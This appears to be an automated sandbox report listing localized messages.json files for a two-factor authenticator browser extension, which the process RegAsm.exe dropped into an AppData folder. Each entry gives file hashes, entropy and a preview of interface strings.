C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\hr\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16311
Entropy (8bit):	4.625855399740401
Encrypted:	false
SSDEEP:	192:NE/3LVR+rpmrCt4OkX+KyGBxluIPN8CyLgtVRLXc/HcmcRS34Z4r942ZGY3g6InK:O3LirpmrsApfAwiPcaR4nj6InK
MD5:	DA7211ED63AC209A632E247A3A0BBD1C
SHA1:	B2B7EC2D5BDD7D5CA7F034CC81E1161AA08C8F04
SHA-256:	91C8BE389ABEBF4B5EAC9EC738CD73424DE0D8EA7612F6930EB5762F55677FB4
SHA-512:	1F7B33111D062C70318B8D40B5763063FF67BD4526D1458117B0C4B6E95B362E8219ECC421649D2A78CAEC10256781E4C46C6CC087A2BFE7C0066B6446768463
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "O programu".. },.. "account": {.. "description": "Account.",.. "message": "Ra.un".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Korisni.ko ime".. },.. "add_code": {.. "description": "Add account.",.. "message": "Dodavanje ra.una".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Skeniranje QR koda".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Ru.no dodavanje".. },.. "added": {.. "description": "Added Account.",.. "message": " dodano.".. },.. "advanced": {.. "message": "Napredno".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\hu\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17351
Entropy (8bit):	4.788775752174538
Encrypted:	false
SSDEEP:	192:chJzKHM+u1wWZHCYwpjYcDwC7Xfa+gPXAzpRgs8Vsv/9a9+diuT:kNKHM+WbZXwpRaFPwUsv/9a9+diuT
MD5:	3E0A1AA101930118C3F6ADE89BCB9F99
SHA1:	352EF417C0D5C3065DD57E81FC76776A1BB5EE76
SHA-256:	0FC1B5A468794620BBE155653D97BF7A537D30A1962F1455163F597813968AA4
SHA-512:	FFFBDBFB4D1AE1E701237AB960CCEAD9417ADA9D260677FDC50D64FE3A36EB259DBBE32BF3EE42D4AAC82D3C0ECD79DCC014554C2D77CBB0D03F7B2CCBAB2ABA
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "R.lunk".. },.. "account": {.. "description": "Account.",.. "message": "Fi.k".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Felhaszn.l.n.v".. },.. "add_code": {.. "description": "Add account.",.. "message": "Fi.k hozz.ad.sa".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "QR k.d beolvas.sa".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "K.zi bevitel".. },.. "added": {.. "description": "Added Account.",.. "message": " hozz.adva.".. },.. "advanced": {.. "message": "Halad.".. },.. "advisor": {.. "message": "Tan.csad.".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Az automatikus kit.lt.s enged.lyez.s.vel a k.dok az internet oldalak mez.iben automatikusan kit.lt.sre ker.lnek.".. },.. "advisor_insight_a

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\id\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16249
Entropy (8bit):	4.536044782806967
Encrypted:	false
SSDEEP:	192:/7ZZucnOO/d5naJL2iUTNWnjcRSI2J6D6VBqc:TZYcnPF5aR9UTNWnf04qc
MD5:	48F79A5E6B5D940713C279D4FE80A924
SHA1:	C062403EB058E92380E34C2FD9CE7D2BCAF108C5
SHA-256:	EDD5EF6DA925F5CA29550B565D6EC991D65393ADDB91BA11721F0CDC4E371FF5
SHA-512:	153A39A84D88DDC219FF2E96FE3889A727040E4AD9B83B7212832BDA25C4DCD11E83E75BAA1B1CAE9FD7D4CE96C556DDAB291838D814444909854D27345B25AF
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Tentang".. },.. "account": {.. "description": "Account.",.. "message": "Akun".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nama pengguna".. },.. "add_code": {.. "description": "Add account.",.. "message": "Tambah Akun".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Pindai kode QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Entri manual".. },.. "added": {.. "description": "Added Account.",.. "message": " telah ditambahkan.".. },.. "advanced": {.. "message": "Tingkat lanjut".. },.. "advisor": {.. "message": "Penasehat".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill dapat diaktifkan untuk mengisi kode secara otomatis ke situs web.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Aktifkan auto-

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\it\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16797
Entropy (8bit):	4.540872247244209
Encrypted:	false
SSDEEP:	192:82DN1wRv/pRqvOU7O0vC6u5gzkRZpEFUFyJOsZJhQbTlSDURFZkRROzXZEn1Ep:8CHwRv/p8vOzP63/iAppQHlSaq4JM1S
MD5:	FF39A10DF542FA5D8DB29E478FDEB14B
SHA1:	76A2229B75F5C64D9D398D839545B52C8709210D
SHA-256:	38EF463203668A131CED247D895D8479D24F0BC2670FFD1DB5824202532CF97B
SHA-512:	68226EA15F55433EB9BB033BBEF3D6D249585B582CE72CC0FACA93ADB328CF66B8E342E496D9CE86A049BC07126572FDD41AD8749C664931E9E261F86FD917FB
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Informazioni".. },.. "account": {.. "description": "Account.",.. "message": "Account".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nome Utente".. },.. "add_code": {.. "description": "Add account.",.. "message": "Aggiungi account".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Scansiona il codice QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Inserisci manualmente".. },.. "added": {.. "description": "Added Account.",.. "message": ". stato aggiunto".. },.. "advanced": {.. "message": "Avanzate".. },.. "advisor": {.. "message": "Consulente".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Il riempimento automatico . abilitabile per compilare automaticamente i codici nei siti web.".. },.. "advisor_insight_auto_lock_not_s

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\ja\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18677
Entropy (8bit):	5.353379592972358
Encrypted:	false
SSDEEP:	192:dL9SICRKzD5fbAqQFdZ3N81t4nRM8oXZUidZ+SDcs:t9SRRMzAqU121fnXZUWZ++cs
MD5:	FDA72BCBC3BFC3D72D3622F6B98CD33E
SHA1:	F9199B2D3CA1E9AF75D7F01A3201A460CCDA93AD
SHA-256:	A184FEBF5691D2AD0D35A2A59ED6E3040ED7994DE8BBCC019B4EB5018C4A4067
SHA-512:	C4F43AC1B781BB29ACB93FA9977F56A525AD941C05B2CDA1ED455C00C0CC08EB7E49ED2A14987BABC5363CE79F3C7EBD7460AF4B9C542A8DF6469D089F93039E
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".........".. },.. "account": {.. "description": "Account.",.. "message": ".....".. },.. "accountName": {.. "description": "Account Name.",.. "message": ".....".. },.. "add_code": {.. "description": "Add account.",.. "message": "........".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "QR........".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "....".. },.. "added": {.. "description": "Added Account.",.. "message": " ........".. },.. "advanced": {.. "message": "...".. },.. "advisor": {.. "message": "......".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "...............................

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\ko\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17542
Entropy (8bit):	5.371934584372923
Encrypted:	false
SSDEEP:	192:lYNeMjOZbR2hJ+9CHClpXN1frfctoJHiIRWo+Rnl3Yx2Dy:meSOZbR2hJNilpzJT+vooy
MD5:	BBFBCD51CDCBFE7CDF93D13D81232A4F
SHA1:	240123AD33BD2CC0D5F455D6AA2F188DE60C5AB6
SHA-256:	A4865511F0B769E1C7A7777D28268AB9F17F1C93B685F17BCFA77C7B2C8D1701
SHA-512:	4DC3719BB26CC5D15CD4491B90B8537A6A2286AB8E97BDE010BAAA5D64EF720712068978549B15D4DAD36E556FDB62B1E4A4CD2F130B417FBADFB45D6ECE739C
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "..".. },.. "account": {.. "description": "Account.",.. "message": "..".. },.. "accountName": {.. "description": "Account Name.",.. "message": "... ..".. },.. "add_code": {.. "description": "Add account.",.. "message": ".. ..".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "QR .. ..".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": ".. ...".. },.. "added": {.. "description": "Added Account.",.. "message": " .. ......".. },.. "advanced": {.. "message": ".. ..".. },.. "advisor": {.. "message": ".....".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "..... ... .... .. . ... .. .. ... .... . .....".. },.. "advisor_ins

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\nl\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16691
Entropy (8bit):	4.560590825608193
Encrypted:	false
SSDEEP:	192:7GmLVTTakU7CHvm4AM8MzDfBx1Jr+fcGtSjRUDyhOzJ1iJ4iRpSBj7O:9LVTTak9+lUVJr5GUWDyszDMtR47O
MD5:	9767D196CCC612EB8E78F32F67E3A7AE
SHA1:	F13499ADD97A1821E78B448676F79157D0F95C4A
SHA-256:	CBD0AEAE5EA6D000498EB520795FE172BCDA4451ACE613B3602E8A6D183E8891
SHA-512:	228019096925119D1F789634414D848893B1255B780469A64374C4A7CE409609BB34A54A4E72F5F9C7F60A41F84890C9649A6B13FAB34D2B67803D9F439C5255
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Over".. },.. "account": {.. "description": "Account.",.. "message": "Account".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Gebruikersnaam".. },.. "add_code": {.. "description": "Add account.",.. "message": "Account toevoegen".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Scan QR-code".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Handmatige invoer".. },.. "added": {.. "description": "Added Account.",.. "message": " is toegevoegd.".. },.. "advanced": {.. "message": "Geavanceerd".. },.. "advisor": {.. "message": "Adviseur".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Automatisch invullen kan worden ingeschakeld om automatisch codes op websites in te vullen.".. },.. "advisor_insight_auto_lock_not_set": {.. "messag

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\no\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16125
Entropy (8bit):	4.558510452703465
Encrypted:	false
SSDEEP:	192:8HAkLVR+rpmrkf7SWgtqQq7NnquJc7uHfK7ilcRSdazkM6c:aLirpmrkmWgtqpJhxi7iNazkM6c
MD5:	88A1C9CE4013F28F21809FD0A9B4FD74
SHA1:	423D35ADE437A2E0609CD722F8098F7597E38BF8
SHA-256:	73BA191118528622B2998C7F1525F38230AC69CEF786E72D962B95EF2508D98F
SHA-512:	F737AFDFEB1DDD482AF89A19CD602B831033B99A231FFBEA7D662A48EAF21D9FFEA632BF568AB635DD91E5DD7AA2310A701422EE80BA67FAB191B3AC8619CDB3
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Om".. },.. "account": {.. "description": "Account.",.. "message": "Konto".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Brukernavn".. },.. "add_code": {.. "description": "Add account.",.. "message": "Legg til konto".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Skann QR-kode".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Skriv inn manuelt".. },.. "added": {.. "description": "Added Account.",.. "message": " har blitt lagt til.".. },.. "advanced": {.. "message": "Avansert".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to protect y

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\pl\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16990
Entropy (8bit):	4.744915886423082
Encrypted:	false
SSDEEP:	192:9jh18yYWZ3DZHAR5Kg1ExiVgxfbaFGRR8VAALv8zRLeGUUFAHgLt:FYWZ3DZHvEgREXLvouAt
MD5:	FF012D8AB0090447DDB3D5921EBD7E3A
SHA1:	93B55A91D2FAE618C7F257F0CF686E67D9255683
SHA-256:	F440CB7C3EC8542480A5031656FB169602D44287FE780B82B12878143AF41B09
SHA-512:	DDC891B7DC089EAD8FA02DA76CD1AC15115FC0EF97D2DFD14CD10283E784C88D302C2668AD0C35A3E3E2B614D8DF743495C5E531603CE874AF63CF96F25D4AE2
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "O aplikacji".. },.. "account": {.. "description": "Account.",.. "message": "Konto".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nazwa u.ytkownika".. },.. "add_code": {.. "description": "Add account.",.. "message": "Dodaj konto".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Zeskanuj kod QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "R.czne wprowadzanie".. },.. "added": {.. "description": "Added Account.",.. "message": " zosta.o dodane.".. },.. "advanced": {.. "message": "Zaawansowane".. },.. "advisor": {.. "message": "Doradca".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autouzupe.nianie mo.e by. w..czone, aby automatycznie wype.nia. kody na stronach internetowych.".. },.. "advisor_insight_auto_lock_not_

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\pt\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	4.579631465115495
Encrypted:	false
SSDEEP:	192:GXXLVR+rpmr47AtxFwpIXO73EvU3T9J7uHEkdTgcRSkUT5tUIvQF:6LirpmrlFwph3EgYXhn85tdQF
MD5:	C99F3EB72C3D5638806C67A9C0F84DA9
SHA1:	46C8B30BF4E130D063067ABF889D0EFFC60CBC6E
SHA-256:	A30870263FA917EC21FC1D1ADE869EC0C2CF6FFA1E2AA6F916BB3F2F8F9B12A4
SHA-512:	5480F3BA0CE7081797C6D8E3B658178F041F100F09ECC79D8B73D0F80D636F45D793249104AE95E37431C6E9D6778A0BA2D30979AED4D1C7D45F77A836BFDE19
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Sobre".. },.. "account": {.. "description": "Account.",.. "message": "Conta".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nome de Utilizador".. },.. "add_code": {.. "description": "Add account.",.. "message": "Add account".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Ler c.digo QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Entrada manual".. },.. "added": {.. "description": "Added Account.",.. "message": "foi adicionado ao.".. },.. "advanced": {.. "message": "Avan.ado".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Enable auto-lock to prot

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\pt_BR\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16837
Entropy (8bit):	4.577720810714235
Encrypted:	false
SSDEEP:	192:S0rCrKsNrX7kyBYPSTJ73Ed2j22muj1JlTFf/bSbFRAsNiyop0T4vDS:7rMVNrJOy3ENCfu4sNhoKTeDS
MD5:	1E4DB52838BFACDE9CDCC30479F028DA
SHA1:	E17EE1C9B82DE29FBA27753308D419965594E470
SHA-256:	5C33EE71CBFA25FE74014D70C547747563BB11BDDB15EC8F062D6F2CEFCF38A2
SHA-512:	557D89BDA423D394A9BA5312611BF3144997C45C7882F4ABCA52E5EF2522E29F2CF81591C66C2AEB745879CD89437138128C1E0AD0434EDAF01F0940D2D847FB
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Sobre".. },.. "account": {.. "description": "Account.",.. "message": "Conta".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nome de usu.rio".. },.. "add_code": {.. "description": "Add account.",.. "message": "Adicionar conta".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Escanear c.digo QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Inserir Manualmente".. },.. "added": {.. "description": "Added Account.",.. "message": " foi adicionado.".. },.. "advanced": {.. "message": "Avan.ado".. },.. "advisor": {.. "message": "Assessor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "O preenchimento autom.tico pode ser ativado para preencher automaticamente os c.digos nos sites.".. },.. "advisor_insight_auto_lock_not_set": {.

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\ro\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16779
Entropy (8bit):	4.616229000351085
Encrypted:	false
SSDEEP:	192:XSh56AqLcbX9r6FMyWuHrSgXThTcRSpQT8dJL:Ch56AqL+eOyrXThg+JL
MD5:	E264FE9A4D836C9C7CC61C595DAF5273
SHA1:	FF6EFC959E3DE02F03FAD65460849D678AE4AB30
SHA-256:	D0D68DFCFD50BE449C9F81D91BD195A2A6AE22DC64512AF0670D2A8D72D8E2A7
SHA-512:	184377BBFC96D1AEA61E4E6690C6B853D6DCB573D8D1E591075494ED1E4B704EDF6371B784D5AF38047E55271431B00E14542218598C49351E3C346D79905056
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Despre".. },.. "account": {.. "description": "Account.",.. "message": "Cont".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Nume de utilizator".. },.. "add_code": {.. "description": "Add account.",.. "message": "Ad.ugare cont".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Scaneaz. codul QR".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Introducere manual.".. },.. "added": {.. "description": "Added Account.",.. "message": " a fost ad.ugat.".. },.. "advanced": {.. "message": "Avansat".. },.. "advisor": {.. "message": "Consilier".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Se poate activa func.ia de autocompletare pentru a introduce automat coduri .n site-urile web.".. },.. "advisor_insight_auto_lock_not_set": {..

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\ru\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	20940
Entropy (8bit):	5.048140559543691
Encrypted:	false
SSDEEP:	384:wc4p1Gdbk8TI558l6z2KFb+ZqXnXpUsHuO2XkJti2MbxT:wc4p1GdHI5e8qib+ZqXnXpUsHuO2XkJI
MD5:	0BE4ED6D6B30DA3006D33FB0F4004830
SHA1:	0D14E8A86E22509AD6E31AE6F699442EA9491C83
SHA-256:	CD4B54D3DFDE89AA03BCD45935B526C8F9F38CD109088950B54F48ECD1ADB2A3
SHA-512:	7F0B9F41C37927772BC4F2D0A5EC13BA95D2A41062B72CB3F1F347E58725E8F633D18ACEB744619662809E47E587F70C07E5E1A552DF4082C2B3B128C208727C
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ". ..........".. },.. "account": {.. "description": "Account.",.. "message": "....... ......".. },.. "accountName": {.. "description": "Account Name.",.. "message": "... ............".. },.. "add_code": {.. "description": "Add account.",.. "message": "........ ....... ......".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "............. QR-...".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "...... ....".. },.. "added": {.. "description": "Added Account.",.. "message": " ... .........".. },.. "advanced": {.. "message": "Advanced".. },.. "advisor": {.. "message": "........".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": ".............. .

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\sq\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17181
Entropy (8bit):	4.485203544304168
Encrypted:	false
SSDEEP:	192:urvoS8mw49sDw+k4+WM8WAc4RB3HtyjUnTNxCR+xoydcyt1Rf:V1Dw3LW1bLaATNx5xoydcu
MD5:	37845822ECD1F1B65B0ED319106699B4
SHA1:	F2206FFEAFD926EB74036A2A40979F0696AB40D8
SHA-256:	9A7E3140F8EF73DCF623E939B32A0DCF8CB8EAC211CCBE8ECA3FCA5A185FDB5F
SHA-512:	A423CEC0587017080144E4B285FBEFFC33C2C7A7B7A2D35CA565450F37FAE56CF227477AAD627CCF3FEBE9221F50FCCB0B7D378ED09B5D7E1FEF80BE82AA1B38
Malicious:	false
Preview:	{. "extName": {. "message": "Autentifikuesi",. "description": "Extension Name.". },. "extShortName": {. "message": "Autentifikuesi",. "description": "Extension Short Name.". },. "extDesc": {. "message": "Autentifikuesi gjeneron kode autentifikimi me 2 faktor. n. shletuesin tuaj.",. "description": "Extension Description.". },. "added": {. "message": " .sht. shtuar.",. "description": "Added Account.". },. "errorqr": {. "message": "Kod QR i panjohur.",. "description": "QR Error.". },. "errorsecret": {. "message": "Kodi sekret i llogaris. .sht. i pavlefsh.m",. "description": "Secret Error.". },. "add_code": {. "message": "Shto llogari",. "description": "Add account.". },. "add_qr": {. "message": "Skano kodin QR",. "description": "Scan QR Code.". },. "add_secret": {. "message": "Hyrje manuale",. "description"

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\sr\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18301
Entropy (8bit):	5.01371873252821
Encrypted:	false
SSDEEP:	192:FEuLVR+rpmruA3u5DRahn2f1h1mzjryamlm/9Q4T4cRSdbdG8mlXF:dLirpmrVoDRasPISmFFs0lXF
MD5:	B9263E012414BBF6EAC5CCEAC6CF1441
SHA1:	93E7D3F9D108E080E0421F20C319A6B8429D0950
SHA-256:	CF04AAA3455E9168BC5C2E596519328DFD8DAFD91481770394CC4D7BA7A715C6
SHA-512:	8B27F6261DF2DD409A95586904782243599CAC4BB584D338872EE428D643F7773F7EC496962D715FFD7632B2CF8359C842092EA04E357A1289D3C57AC5280B3B
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ". ........".. },.. "account": {.. "description": "Account.",.. "message": ".....".. },.. "accountName": {.. "description": "Account Name.",.. "message": ".......... ...".. },.. "add_code": {.. "description": "Add account.",.. "message": "..... .....".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "........ QR ...".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "..... ....".. },.. "added": {.. "description": "Added Account.",.. "message": " .......".. },.. "advanced": {.. "message": "........".. },.. "advisor": {.. "message": "Advisor".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lo

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\sv\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16316
Entropy (8bit):	4.6076694290853055
Encrypted:	false
SSDEEP:	192:PJLhpgoqusRss73Czfrbud+1PHtV6sfcRmcvHQBxafaR:xLhpgPuAssTm1PH3f4HQBxaiR
MD5:	06CAEB8E1BA45D066F594DF35201BF66
SHA1:	6D54FCF961DB26008EC50826FB6CB00C783BD41B
SHA-256:	AFD7B32CA3703424CB0DF45F6B75EEB212863BFD4BC8EDE9620EB24C14799BE0
SHA-512:	940E5DF26FAFEE7FDD6271F80AA39ACFDC821505FA2B2F691B3E105B4137DDC936C47C461FCD9A849A7FF83BFA5E389B1712BBBE92B809D2EDC5B2663302CA31
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Om".. },.. "account": {.. "description": "Account.",.. "message": "Konto".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Anv.ndarnamn".. },.. "add_code": {.. "description": "Add account.",.. "message": "L.gg till konto".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Skanna QR-kod".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Manuell inmatning".. },.. "added": {.. "description": "Added Account.",.. "message": " har lagts till.".. },.. "advanced": {.. "message": "Avancerat".. },.. "advisor": {.. "message": "R.dgivare".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Autofill can be enabled to automatically fill codes into websites.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Aktivera automatisk l.s

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\th\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22265
Entropy (8bit):	4.959763333805568
Encrypted:	false
SSDEEP:	384:3oRbFbEkmkqZK86KSgaohPzOBzLcnr5vk5vBuLh6TBnVXx7XnpEj1+1idSwsmEZX:3oRbFbEkmkqZK86KSgaohPzMzLcr5vkH
MD5:	9A7789EA6B2A36A161F41C29E2249287
SHA1:	C37E56C927CC8D209641EB0BB2A7074E7BE078D8
SHA-256:	40EB65E6A802BEE9AE87A3C3A376705BA060609B99B668FAA57F00996BD4E3C8
SHA-512:	863927312914D872E0D41FD1145F38F969141D29A34F96C574FE909F5479DDC831E4EB8FD3032E8AEC8EC08B17A408B5C4E74A58F34D70C9608D08F473103132
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": ".........".. },.. "account": {.. "description": "Account.",.. "message": ".....".. },.. "accountName": {.. "description": "Account Name.",.. "message": "..........".. },.. "add_code": {.. "description": "Add account.",.. "message": "..........".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": ".... QR Code".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "...................".. },.. "added": {.. "description": "Added Account.",.. "message": " .................".. },.. "advanced": {.. "message": ".......".. },.. "advisor": {.. "message": ".......".. },.. "advisor_insight_auto_fill_not_enabled": {.. "

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\tr\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	16752
Entropy (8bit):	4.731569779735167
Encrypted:	false
SSDEEP:	192:l9MYYk1vG0b4DtqvvVLhsoDAW1p8R8Aic93R4:3MYYk11b4ivpioDAW/9PCR4
MD5:	1B1A64159B9E7753ED2840141EFD611A
SHA1:	204C22BA2FDA458F772FD613F42AE3E14C6E8449
SHA-256:	D730D71A6CA0090A07FB7D6EA583ACC830F9F0BDCCFFECD4BF57AFDF26BAF623
SHA-512:	03D617CC8326B171F2B0536DC7394E04A5F71A9D145B27CCB0CB0A40D87E59D14FCF544F78F3F329BEE0E60142765C1D8DB20344EAAB6DACEF444E98CBAC3E75
Malicious:	false
Preview:	{.. "about": {.. "description": "About.",.. "message": "Hakk.nda".. },.. "account": {.. "description": "Account.",.. "message": "Hesap".. },.. "accountName": {.. "description": "Account Name.",.. "message": "Kullan.c. Ad.".. },.. "add_code": {.. "description": "Add account.",.. "message": "Hesap ekle".. },.. "add_qr": {.. "description": "Scan QR Code.",.. "message": "Karekodunu tara".. },.. "add_secret": {.. "description": "Manual Entry.",.. "message": "Elle Kay.t".. },.. "added": {.. "description": "Added Account.",.. "message": " eklendi.".. },.. "advanced": {.. "message": "Geli.mi.".. },.. "advisor": {.. "message": "Rehber".. },.. "advisor_insight_auto_fill_not_enabled": {.. "message": "Kodlar. web sitelerine otomatik olarak doldurmak i.in otomatik doldurma etkinle.tirilebilir.".. },.. "advisor_insight_auto_lock_not_set": {.. "message": "Veril

C:\Users\user\AppData\Local\snofla\blg\02a10a9fb79f454eb9b579eb295605f6\_locales\uk\messages.json

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
